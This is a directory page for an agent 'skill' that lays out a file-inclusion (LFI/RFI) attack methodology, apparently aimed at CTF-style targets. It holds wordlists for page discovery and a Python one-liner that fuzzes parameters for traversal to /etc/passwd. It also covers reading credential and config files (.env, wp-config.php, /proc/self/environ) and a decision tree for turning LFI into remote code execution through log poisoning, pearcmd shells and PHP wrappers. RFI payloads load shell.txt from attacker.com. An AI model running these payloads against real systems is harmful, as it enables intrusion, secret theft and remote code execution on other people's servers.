SuperAPI AI Directory

lfi-rfi-methodology

Security & auditing

View repository

Updated 10-16 08:02

About this skill

File Inclusion Vulnerability Methodology (LFI/RFI)

⛔ In-Depth Reference (Must-read after confirming LFI)


⛔ Phase 0: Page Discovery (Prerequisite for LFI testing!)

Before testing LFI, you must first find all accessible pages.

  1. Use ffuf / spray to scan .php/.html; when it fails, immediately downgrade to batch testing with python3 requests:
private.php, admin.php, secret.php, flag.php, test.php, debug.php, panel.php, dashboard.php,
upload.php, api.php, config.php, backup.php, shell.php, cmd.php, exec.php, portal.php,
manage.php, internal.php, hidden.php, restricted.php, secure.php, system.php, info.php,
phpinfo.php, setup.php, install.php, download.php, view.php, file.php, read.php, include.php
  1. Record all pages returning 200 and non-empty → these are the LFI testing targets

Phase 1: Discover File Inclusion Points

⛔ Exit condition: an endpoint tested with 3+ parameters all show no response difference (length difference < 10 bytes) → mark "no LFI" → switch endpoint

⛔ Parameter Fuzz (one step, manual testing one by one is prohibited!)

Use Python to batch-test all common parameters (still enumerating parameters after 3+ rounds = violation):

python3 -c "import requests;[print(f'FOUND: {p}?{param}') for p in ['private.php','index.php','page.php','view.php','file.php','read.php'] for param in ['file','page','path','include','doc','template','lang','module','view','load'] if 'root:' in requests.get(f'http://TARGET/{p}?{param}=../../../etc/passwd',timeout=3).text]"
  • When using ffuf for parameter fuzzing: the wordlist must use Dic/web/ctf/param.txt(not a directory wordlist!)
  • Don't test only the file parameter: the id parameter may also have LFI
  • URL encoding bypass:..%2f、%2e%2e%2f bypass path filtering

Common parameter names: file, page, path, include, doc, template, lang, module, action, view

Test vectors:

?file=../../../etc/passwd
?file=../../../etc/passwd%00       (PHP < 5.3.4)
?file=..%252f..%252fetc%252fpasswd (双编码)

Verification method: compare response length/content with and without the parameter; a difference = parameter is valid

Phase 2: Path Traversal Testing

逐步增加 ../ 层数(通常4-7层到根目录):
?file=../../../../etc/passwd

Phase 3: Key File Reading

⛔ Dockerfile/Source Code Priority Path Rules

When a Dockerfile or application source code has been obtained:

  1. Extract the WORKDIR value (e.g., /var/www/html/)
  2. Extract the flag filename (e.g., xbow-flag.txt)
  3. Concatenate WORKDIR + filename as the first-priority reading path(e.g., /var/www/html/xbow-flag.txt)
  4. ⛔ Prohibited to skip known paths and blindly guess /app/flag.txt /flag etc.

Linux: /etc/passwd, /proc/self/environ, /var/log/apache2/access.log Windows: C:\Windows\win.ini, C:\inetpub\wwwroot\web.config Web application: config.php, .env, wp-config.php Source code: php://filter/convert.base64-encode/resource=index

PHP File Inclusion Traps

  • Directly including a .php file will not display the source code, only execute the code
  • Need to use php://filter/convert.base64-encode/resource=xxx to read PHP source code

Phase 4: LFI → RCE Decision Tree

⛔ Log poisoning priority trigger condition: when the task description/challenge name contains poison、log、日志 keywords,skip wrapper attempts and go directly to the log poisoning process!

LFI 确认
│   ├─ ⛔ 题目含 "poison"/"log" 关键字?→ 直接日志投毒(跳过 Phase 3 后半段)
│   ├─ 目标是 PHP + include()?
│   │   ├─ pearcmd.php 存在?→ pearcmd 写 shell(最快,不依赖日志/session)
│   │   ├─ file_exists() 不检查?→ php://input / data:// wrapper
│   │   ├─ file_exists() 检查?→ wrapper 不可用!用日志投毒或 PHP filter chain
│   │   ├─ 有 session 功能?→ Session 文件包含(将 PHP 代码注入 session 如用户名字段,包含 session 文件执行)
│   ├─ 日志投毒(最通用)
│   │   ├─ User-Agent 注入 PHP 代码
│   │   ├─ ⚠️ 绝对不用 system('cat /file.php')!用 file_get_contents() + echo
│   │   └─ 包含 /var/log/apache2/access.log 触发
│   ├─ PHP Filter Chain RCE(无需文件写入/日志/session)
│   │   └─ 用 php_filter_chain_generator.py 生成 chain
│   └─ 详细步骤 → [references/lfi-to-rce.md](references/lfi-to-rce.md)

Phase 5: RFI Testing

?file=http://attacker.com/shell.txt (requires allow_url_include=On) | ?file=\\attacker.com\share\shell.php (SMB/UNC)

Notes

  • include() will execute PHP, file_get_contents() reads raw text — key difference
  • LFI is more common than RFI (RFI requires PHP configuration to allow) | HTTP 200 + Content-Length: 0 → PHP syntax error swallowed